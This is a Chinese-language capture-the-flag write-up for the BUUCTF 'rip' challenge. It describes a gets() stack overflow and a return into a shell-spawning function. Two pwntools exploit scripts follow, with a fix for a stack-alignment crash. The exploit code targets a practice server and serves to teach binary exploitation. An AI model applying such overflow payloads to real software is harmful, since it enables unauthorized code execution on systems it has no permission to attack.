【BUUCTF】rip

这道题本质上很简单,但是在实际操作过程中会遇到一个不对齐的坑。
可参考链接解决:http://blog.eonew.cn/archives/958

这题和蒸米ROP的level3有点像。
检查安全机制。
【BUUCTF】rip_第1张图片
用ida反汇编,可以看到是gets函数有个简单的栈溢出,偏移也很好计算,F+8=23
【BUUCTF】rip_第2张图片
此外还发现一个fun函数可以直接跳转到这里来获取shell。
在这里插入图片描述
【BUUCTF】rip_第3张图片
正常exp如下:

from pwn import *
p = process("./pwn1")
#p = remote("node3.buuoj.cn",29399)

payload = "a" * 23 +p64(0x401186)
p.sendline(payload)
p.interactive()

然而,crash了。

【BUUCTF】rip_第4张图片
后面发现BUUCTF的FAQ有提到这个问题。
【BUUCTF】rip_第5张图片
参考链接解决:https://www.cnblogs.com/Rookle/p/12871878.html
新的exp如下:

from pwn import *
p = process("./pwn1")
#context.log_level = "debug"
p = remote("node3.buuoj.cn",29157)

payload = "a" * (0xf+8)+p64(0x401187)

p.sendline(payload)
p.interactive()

最后获取到flag。
【BUUCTF】rip_第6张图片

你可能感兴趣的:(pwn,buuctf,pwn)